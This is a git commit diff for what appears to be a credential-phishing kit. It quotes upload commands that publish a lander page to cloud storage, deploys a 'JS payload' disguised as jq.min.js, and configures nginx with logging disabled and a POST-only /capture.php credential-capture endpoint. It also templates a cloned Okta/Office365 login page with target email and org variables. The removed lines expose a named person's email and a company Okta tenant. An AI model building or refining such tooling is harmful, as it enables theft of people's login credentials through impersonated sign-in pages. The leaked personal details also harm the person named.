Fix P1/P2 audit findings: shell-escape upload cmds, parameterize okta PII, harden JS parsing, restrict PHP to capture.php, tojson redirect_url
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
import shlex
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
from jinja2 import Environment, FileSystemLoader
|
||||
@@ -63,15 +64,19 @@ def post_deploy_generate_lander(config: dict) -> None:
|
||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
||||
|
||||
qbucket = shlex.quote(bucket)
|
||||
qhtml = shlex.quote(str(html_file))
|
||||
qjs = shlex.quote(str(js_file))
|
||||
|
||||
if provider == 'gcs':
|
||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
||||
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
|
||||
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
|
||||
elif provider == 's3':
|
||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
||||
upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read"
|
||||
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
|
||||
elif provider == 'azure':
|
||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
||||
upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}"
|
||||
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
|
||||
else:
|
||||
public_url = f"<unknown provider: {provider}>"
|
||||
upload_cmd = "<unknown provider>"
|
||||
@@ -82,7 +87,7 @@ def post_deploy_generate_lander(config: dict) -> None:
|
||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
||||
webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
||||
|
||||
|
||||
@@ -2,10 +2,14 @@
|
||||
var u = new URLSearchParams(window.location.search);
|
||||
var src = u.get('u') || '';
|
||||
var dest = {{ redirect_url | tojson }};
|
||||
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
|
||||
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
|
||||
var rid = params.get('rid') || params.get('RId');
|
||||
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
try {
|
||||
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
|
||||
var params = new URLSearchParams(new URL(src).search);
|
||||
var rid = params.get('rid') || params.get('RId');
|
||||
if (rid && rid.length <= 128) {
|
||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
window.location.replace(dest);
|
||||
})();
|
||||
|
||||
@@ -37,20 +37,16 @@ server {
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# PHP processing
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
|
||||
# Credential capture endpoint
|
||||
# Credential capture — only POST to this exact path
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Deny all other PHP execution
|
||||
location ~ \.php$ { deny all; }
|
||||
|
||||
# Template routing
|
||||
location /templates/ {
|
||||
try_files $uri $uri/ =404;
|
||||
|
||||
@@ -99,7 +99,7 @@
|
||||
|
||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
</form>
|
||||
|
||||
<div class="content">
|
||||
@@ -199,11 +199,11 @@
|
||||
|
||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
(function(){
|
||||
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
||||
var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
|
||||
var suppliedRedirectUri = '';
|
||||
var repost = false;
|
||||
var stateToken = '';
|
||||
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
||||
var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
|
||||
var username = '';
|
||||
var rememberMe = true;
|
||||
var smsRecovery = false;
|
||||
|
||||
@@ -218,7 +218,7 @@
|
||||
.then(response => {
|
||||
// Redirect after a delay to simulate processing
|
||||
setTimeout(() => {
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
|
||||
}, 2000);
|
||||
})
|
||||
.catch(error => {
|
||||
|
||||
Reference in New Issue
Block a user